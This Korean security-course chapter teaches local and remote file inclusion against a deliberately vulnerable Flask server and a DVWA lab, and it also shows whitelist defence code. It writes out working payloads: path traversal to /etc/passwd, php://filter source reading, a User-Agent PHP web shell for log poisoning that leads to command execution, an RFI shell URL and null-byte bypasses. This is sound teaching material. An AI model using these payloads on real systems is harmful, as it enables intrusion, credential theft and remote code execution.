Step 144. 파일 포함: LFI/RFI — 서버가 "읽어 주는 파일"을 내가 고른다
Level 2 — 보안 입문과 공격 스킬 기초 | 난이도 ★★★☆☆ | 예상 소요 시간 3시간
전제: Step 135~143을 마쳤다. DVWA를 띄워 본 적이 있고, GET 파라미터를 바꿔 서버 동작을 조종하는 감각이 있다.
- 준비물: 파이썬 3 + Flask (로컬 재현), DVWA가 뜬 랩 (워게임 실습), 텍스트 에디터
- 주의: ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.
Step 143의 명령 인젝션이 "명령을 심는 공격"이었다면, 오늘의 파일 포함(file inclusion)은 "읽을 파일을 고르는 공격"입니다. PHP의 include는 파일을 코드로 읽어 실행하는데, 그 파일명을 사용자 입력에서 가져오는 순간 사고가 납니다. 웹루트 밖의 /etc/passwd를 읽히는 것이 LFI(로컬 파일 포함), 아예 인터넷 어딘가의 내 서버 파일을 읽히는 것이 RFI(원격 파일 포함)입니다. 오늘은 취약한 서버를 직접 만들어 LFI를 실측하고, DVWA에서 같은 원리를 재확인합니다.
1. 학습 목표
이 챕터를 끝내면 다음을 할 수 있습니다:
- LFI와 RFI의 차이를
include의 동작 방식으로 설명한다 ../경로 탐색으로 웹루트 밖 파일을 읽는 원리를 직접 만든 서버로 실증한다php://filter래퍼로 PHP 소스를 "실행 없이" 읽는 이유를 말한다- 로그 포이즈닝(log poisoning)으로 파일 읽기를 명령 실행으로 승격시키는 사다리를 설명한다
- 화이트리스트 방어가 왜 효과적인지 실측으로 확인한다
2. 배경 지식 — 오늘의 도구와 개념
오늘의 도구 한눈에 보기
| 구분 | 내용 |
|---|---|
| 언어·환경 | 파이썬 3 + Flask (로컬 재현) / DVWA File Inclusion 모듈 (워게임) |
| 오늘의 명령 | ?page=../../../../etc/passwd, ?page=php://filter/convert.base64-encode/resource=... |
| 필요한 개념 | include 계열 취약점, 경로 탐색(../), PHP 래퍼, 로그 포이즈닝 |
| 오늘의 산출물 | LFI 실측 기록 + "파일 읽기 → 코드 실행" 사다리 정리 |
2-1. include는 왜 위험한가 — 파일이 "코드"가 되는 순간
PHP의 include "파일명"은 단순히 파일을 화면에 뿌리는 게 아니라, 그 파일을 PHP 코드로 해석해 실행합니다. 그런데 많은 레거시 PHP 앱이 이렇게 짜여 있습니다:
<?php include $_GET["page"]; ?>
?page=intro.php라면 개발자의 의도대로입니다. 하지만 ?page=../../../../etc/passwd라면? 서버는 웹루트 밖으로 걸어 나가 시스템 파일을 읽어 옵니다. 이것이 LFI(Local File Inclusion)입니다. 그리고 ?page=http://공격자서버/shell.txt처럼 외부 주소까지 허용되면, 내가 준비한 악성 코드가 피해 서버에서 실행됩니다 — RFI(Remote File Inclusion)입니다.
2-2. 경로 탐색의 감각 — ../는 몇 개?
../는 "한 단계 위 폴더"입니다. include가 /var/www/html/에서 일어나고 있다면 /etc/passwd까지는 네 단계 위입니다. 리눅스에서는 루트(/) 위로는 더 못 올라가므로 ../를 넉넉히 많이 넣는 게 표준 기법입니다 — ../../../../../../etc/passwd도 결국 /etc/passwd에 도달합니다. 단, 오늘 실측에서 보듯 윈도우 상대 경로에서는 개수가 지나치면 엉뚱한 곳을 가리켜 실패할 수 있으니, 로그의 에러 메시지를 보며 개수를 맞춰 가는 감각이 필요합니다.
2-3. php://filter — 실행되지 않고 읽히는 통로
LFI로 PHP 파일을 include하면 소스가 실행돼 버려서 내용이 안 보입니다. 이때 php://filter/convert.base64-encode/resource=index.php라는 특수 주소를 쓰면, PHP가 파일을 실행하지 않고 base64로 인코딩해 돌려줍니다. 디코딩하면 소스 원문 — 그 안의 DB 비밀번호까지 — 가 그대로 나옵니다. "실행되는 읽기"를 "조용한 읽기"로 바꾸는 기법입니다.
2-4. 로그 포이즈닝 — 읽기에서 실행으로 올라가는 사다리
LFI의 진짜 무서움은 사다리의 끝에 있습니다. 아파치의 접속 로그에는 여러분이 보낸 User-Agent 헤더가 그대로 기록됩니다. 그 헤더에 <?php system($_GET["c"]); ?>를 심어 요청 한 번을 남긴 뒤, LFI로 그 로그 파일을 include하면? 로그가 PHP로 실행되면서 심어 둔 코드가 동작합니다. /var/log/apache2/access.log를 읽는 것이 곧 명령 실행이 되는 순간입니다. "파일 읽기 취약점"이 "서버 장악"으로 번지는 경로를 꼭 이해해 두세요.
3. 따라 하기
3-1. 모사 대상 — 파일을 읽어 주는 취약 서버
원리를 정직하게 보기 위해 Flask로 취약 서버를 만듭니다. PHP의 include와 달리 Flask는 파일을 "텍스트로" 읽지만, 입력이 곧 경로가 되는 구조는 동일합니다 (본 교재는 2026-09-09에 실측했습니다).
입력 (lfi_server.py의 핵심)
import os
from flask import Flask, request
app = Flask(__name__)
PAGES = os.path.join(os.path.dirname(os.path.abspath(__file__)), "lfi_pages")
@app.route("/page")
def page():
name = request.args.get("name", "index.html")
# 취약한 코드: 입력을 검증하지 않고 그대로 경로에 붙인다
path = os.path.join(PAGES, name)
try:
with open(path, "r", encoding="utf-8", errors="replace") as f:
return "<pre>" + f.read() + "</pre>"
except (FileNotFoundError, OSError):
return "파일을 찾을 수 없습니다", 404
읽는 법: name 파라미터가 곧 파일 경로의 일부가 됩니다. 개발자는 about.html 같은 정상 파일명만 올 거라 기대했지만, 검증이 없으므로 어떤 경로든 들어옵니다. 실습을 위해 lfi_pages/ 폴더(웹루트 역할)를 만들고 그 밖에 server_secret.txt(서버 설정 파일 역할)를 둡니다.
3-2. 경로 탐색 공격 — 웹루트 밖으로 걸어 나가기
서버를 띄운 뒤 세 가지 요청을 비교합니다.
입력
curl "http://127.0.0.1:포트/page?name=about.html"
curl "http://127.0.0.1:포트/page?name=../server_secret.txt"
curl "http://127.0.0.1:포트/page?name=../../../../../../server_secret.txt"
출력 (2026-09-09 실측):
GET /page?name=about.html -> 200
<pre><p>회사 소개 페이지</p></pre>
GET /page?name=../server_secret.txt -> 200
<pre>db_user=root
db_pass=s3cr3t!2026
flag{LFI_웹루트_밖_파일_읽기_성공}
</pre>
GET /page?name=../../../../../../server_secret.txt -> 404
파일을 찾을 수 없습니다
읽는 법: ../ 하나로 웹루트를 탈출해 비밀 파일이 통째로 읽혔습니다. 그런데 세 번째 — ../를 여섯 개 넣은 요청은 오히려 실패했습니다. 윈도우 상대 경로에서는 ..가 쌓이면 실제로 상위 폴더를 계속 타고 올라가, 실험 폴더 밖의 엉뚱한 위치를 가리켰기 때문입니다. 리눅스의 ../../../../etc/passwd가 "많이 넣어도 안전"한 것과 미묘하게 다른 지점이니, 여러분 환경에서는 ../ 개수를 하나씩 늘려 가며 맞추세요.
왜: 핵심은 하나 — 파일 경로를 사용자 입력으로 이어 붙인 코드가 죄악입니다. 공격자의 ../는 그 구조의 빈틈을 걷는 발걸음일 뿐입니다.
3-3. 화이트리스트 방어 — "목록에 없으면 거부"
같은 서버에 방어 버전 엔드포인트를 달아 비교합니다.
입력 (방어 코드)
ALLOWED = {"index.html", "about.html"}
@app.route("/safe_page")
def safe_page():
name = request.args.get("name", "index.html")
if name not in ALLOWED: # 허용 목록에 없으면 거부
return "허용되지 않은 페이지입니다", 403
with open(os.path.join(PAGES, name), "r", encoding="utf-8") as f:
return "<pre>" + f.read() + "</pre>"
출력 (2026-09-09 실측):
GET /safe_page?name=../server_secret.txt -> 403 허용되지 않은 페이지입니다
GET /safe_page?name=about.html -> 200 정상 응답
읽는 법: 경로를 "정제"하는 게 아니라 아예 이름 목록으로 받는 방식이라 ../가 끼어들 틈이 없습니다. 블랙리스트(.. 문자를 지우기)는 우회법이 끝없이 나오지만, 화이트리스트는 "목록 외 전부 거부"라는 한 줄로 닫힙니다. Step 147의 정리표에서 다시 만날 원리입니다.
3-4. DVWA File Inclusion (워게임 실습, 출력 예시)
여러분의 DVWA 랩에서 진행하세요. 아래 출력은 출력 예시입니다.
LFI: vulnerabilities/fi/index.php?page=include.php의 page 값을 바꿉니다.
?page=../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
...
소스 읽기: php://filter로 실행 없이 소스를 훔칩니다.
?page=php://filter/convert.base64-encode/resource=include.php
→ PD9waHAgLy8g... (base64 덩어리) → 디코딩하면 include.php 소스 원문
로그 포이즈닝 (DVWA/MS2 조합 랩): User-Agent에 PHP 코드를 심어 접속 흔적을 남긴 뒤, LFI로 로그를 include합니다.
① User-Agent: <?php system($_GET["c"]); ?> 로 아무 페이지나 요청
② ?page=../../../../var/log/apache2/access.log&c=id
→ uid=33(www-data) gid=33(www-data) ...
읽는 법: ①은 로그에 "코드"를 심는 행위, ②는 그 로그를 PHP로 실행시키는 행위입니다. 파일 읽기(LFI)가 명령 실행(RCE)으로 승격되는 전형적 사다리이며, 얻는 권한은 웹서버 계정(www-data)입니다 — Step 121의 "서비스 실행 계정이 권한을 결정한다"가 다시 등장합니다.
RFI 개념 정리: ?page=http://내서버/shell.txt가 먹히려면 PHP 설정 allow_url_include=On이 필요합니다. 최신 PHP는 기본 Off — 이 취약점이 너무 자주, 너무 쉽게 서버 장악으로 이어졌기 때문입니다. 랩에서 시험하려면 DVWA 컨테이너의 php.ini를 켜 주어야 하며, 켜는 순간 "외부 코드를 실행하는 서버"가 됨을 기억하세요.
4. 미션과 연습문제
미션 — LFI 사다리 오르기
- 3-1의 취약 서버를 만들고,
../경로 탐색으로 웹루트 밖 비밀 파일을 읽어 플래그를 기록한다 ../개수를 1개, 2개, 6개로 바꿔 가며 결과 차이를 표로 기록한다 (내 환경에서 몇 개가 맞는가?)- 3-3의 화이트리스트 버전에 같은 공격을 넣어 403으로 막힘을 확인한다
- DVWA에서
?page=../../../../etc/passwd와 php://filter 소스 읽기를 성공시키고 결과를 베껴 둔다 - "파일 읽기 → 소스 열람 → 명령 실행" 사다리의 각 단계가 어떤 기법인지 노트에 정리한다
연습문제
문제 1. LFI와 RFI의 차이를 "include하는 파일이 어디에 있느냐"로 설명하고, RFI가 성립하려면 필요한 PHP 설정을 말해 보세요.
문제 2. LFI로 PHP 파일을 그냥 include하면 소스가 보이지 않는 이유와, php://filter가 이를 해결하는 원리를 말해 보세요.
문제 3. 로그 포이즈닝이 "파일 읽기" 취약점을 "명령 실행"으로 바꾸는 과정을 두 단계로 설명해 보세요.
문제 4. 블랙리스트(.. 제거) 방식보다 화이트리스트(허용 목록) 방식이 강한 이유를 오늘 실측과 연결해 말해 보세요.
5. 모범 답안과 완료 기준
미션 모범 답안
플래그는 flag{LFI_웹루트_밖_파일_읽기_성공}입니다. ../ 개수 실험의 예 (2026-09-09 실측, 윈도우): 1개 — 성공, 6개 — 404 (웹루트 기준이 아니라 파일 위치 기준으로 계산됨). 리눅스 랩에서는 /etc/passwd처럼 절대 경로가 정해진 목표를 노릴 때 "넉넉히 많이"가 통합니다.
사다리 정리의 예: ① 경로 탐색으로 파일 읽기(LFI) → ② php://filter로 PHP 소스 열람(실행 없이 읽기) → ③ 로그 포이즈닝으로 코드 심기 → ④ 로그 include로 명령 실행(www-data 권한).
검증하는 법: ① 로컬 서버에서 플래그를 실제로 읽었는가. ② 개수별 결과 표가 있는가. ③ 화이트리스트에서 403을 확인했는가. ④ DVWA 출력을 베껴 뒀는가.
연습문제 해답
문제 1 해답. LFI는 피해 서버 내부의 파일을 include하고, RFI는 공격자 서버 등 외부 주소의 파일을 include합니다. RFI가 성립하려면 allow_url_include=On이 필요하며, 최신 PHP는 기본 Off입니다.
문제 2 해답. include는 파일을 PHP 코드로 실행하므로, 소스가 실행 결과로 바뀌어 원문이 안 보입니다. php://filter/convert.base64-encode/resource=...는 실행 대신 base64 인코딩이라는 "변환"만 거쳐 돌려주므로, 디코딩하면 원문 소스를 얻습니다.
문제 3 해답. 1단계: 공격자가 User-Agent 등 로그에 기록되는 필드에 PHP 코드를 심어 요청을 남깁니다. 2단계: LFI로 그 로그 파일을 include하면, 로그가 PHP로 해석되며 심어 둔 코드가 실행됩니다. "읽기 전용"이던 취약점이 실행 권한을 얻는 순간입니다.
문제 4 해답. 블랙리스트는 "나쁜 것"을 전부 열거해야 해서 우회법(인코딩, 이중 ....// 등)이 계속 나옵니다. 화이트리스트는 "좋은 것"만 열거하므로 목록 외 입력은 구조적으로 불가능합니다. 실측에서도 ../server_secret.txt가 403 한 줄로 막혔습니다.
완료 기준 체크리스트
- [ ] 취약 서버를 직접 만들고 경로 탐색으로 웹루트 밖 파일을 읽었다
- [ ]
../개수에 따른 결과 차이를 내 환경에서 확인했다 - [ ] 화이트리스트 방어가 공격을 403으로 막는 것을 실측했다
- [ ] DVWA에서
/etc/passwd읽기와 php://filter 소스 읽기를 했다 - [ ] 로그 포이즈닝의 2단계 과정을 설명할 수 있다
- [ ] LFI → RCE 사다리의 각 단계를 말할 수 있다
6. 흔한 실수와 해결
벽 1. ../를 넣었는데 "파일을 찾을 수 없습니다"만 나온다
증상: 경로 탐색이 전부 404입니다.
원인: ../ 개수가 안 맞거나, 목표 파일이 실제로 그 위치에 없습니다. 오늘 실측처럼 윈도우 상대 경로는 개수가 지나쳐도 실패합니다.
해결: ../를 하나부터 하나씩 늘려 보세요. 리눅스에서 /etc/passwd가 목표라면 개수를 넉넉히 넣는 게 통하지만, "존재하는 파일인가"를 먼저 의심하는 습관이 빠릅니다.
벽 2. include한 PHP 파일 소스가 안 보이고 화면만 바뀐다
증상: ?page=config.php를 넣었는데 소스 대신 실행 결과(또는 빈 화면)가 나옵니다.
원인: 정상입니다 — include는 파일을 실행합니다. config.php는 보통 출력이 없어 빈 화면이 됩니다.
해결: php://filter/convert.base64-encode/resource=config.php로 읽고 base64 디코딩하세요.
벽 3. RFI를 시도했는데 외부 주소가 include되지 않는다
증상: ?page=http://...가 실패하거나 경고만 나옵니다.
원인: allow_url_include가 Off입니다. 최신 PHP의 기본값이고, DVWA 컨테이너도 대부분 꺼져 있습니다.
해결: 랩에서 php.ini를 켜서 실험하되, "이 설정 하나가 서버를 외부 코드 실행기로 만든다"는 결론을 노트에 남기세요. 실전 PHP 앱에서 RFI가 드물어진 이유입니다.
벽 4. 로그 포이즈닝을 했는데 코드가 실행되지 않는다
증상: access.log를 include해도 id 결과가 안 나옵니다.
원인: 로그 경로가 다르거나, 심은 코드가 로그 안에서 깨졌거나(따옴표 이스케이프 문제), 로그 파일 읽기 권한이 없을 수 있습니다.
해결: 로그 경로 후보(/var/log/apache2/access.log, /var/log/httpd/access_log 등)를 순서대로 시도하고, 심은 문자열이 로그에 온전히 기록됐는지 LFI로 먼저 확인하세요.
벽 5. %00(널 바이트) 우회가 안 통한다
증상: ?page=../../../../etc/passwd%00 같은 구형 기법이 실패합니다.
원인: 널 바이트 우회는 PHP 5.3 미만에서만 통하던 기법입니다. 현대 환경에서는 막힙니다.
해결: 정상입니다. "오래된 문서의 기법이 현재 환경에서 안 통하는 이유"를 파악하는 것도 실력입니다 — DVWA High 코드가 무엇을 막는지 읽어 보세요.
7. 정리
오늘의 개념
| 개념 | 한 줄 설명 |
|---|---|
| LFI | include 대상을 조종해 서버 내부 파일을 읽는 공격 |
| RFI | 외부 서버의 파일을 include해 내 코드를 실행시키는 공격 (allow_url_include 필요) |
경로 탐색(../) |
상위 폴더로 올라가 웹루트를 탈출하는 기본 동작 |
| php://filter | PHP 파일을 실행 없이 base64로 읽게 하는 래퍼 — 소스 열람 통로 |
| 로그 포이즈닝 | 로그에 코드를 심고 로그를 include해 명령 실행으로 승격 |
| 화이트리스트 방어 | 허용 목록 외 전부 거부 — 경로 조작이 구조적으로 불가능 |
오늘의 명령어
| 명령 | 하는 일 |
|---|---|
?page=../../../../etc/passwd |
LFI로 시스템 파일 읽기 |
?page=php://filter/convert.base64-encode/resource=파일.php |
PHP 소스를 실행 없이 읽기 |
User-Agent: <?php system($_GET["c"]); ?> |
로그 포이즈닝 — 코드 심기 |
?page=../../var/log/apache2/access.log&c=id |
심은 코드 실행 |
allow_url_include (php.ini) |
RFI 가능 여부를 가르는 설정 |
명령어보다 중요한 감각
파일 포함 취약점의 본질은 "파일 경로를 사용자 입력으로 이어 붙인 코드"입니다. ../는 그 빈틈을 걷는 발걸음이고, php://filter와 로그 포이즈닝은 그 발걸음이 닿는 사다리의 높이입니다. 반대로 방어는 언제나 같은 자리에 섭니다 — 입력을 경로로 쓰지 말고, 허용 목록의 "이름"으로만 받으세요.
사다리를 기억하세요. 파일 읽기 하나가 소스 열람으로, 소스 속 비밀번호가 DB 접속으로, 로그 한 줄이 명령 실행으로 이어집니다. "겨우 파일 하나 읽은 것"을 얕보지 않는 것 — 그것이 공격자의 시야이고, 방어자가 끊어야 할 첫 고리입니다.
전부 체크되면 Step 144 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.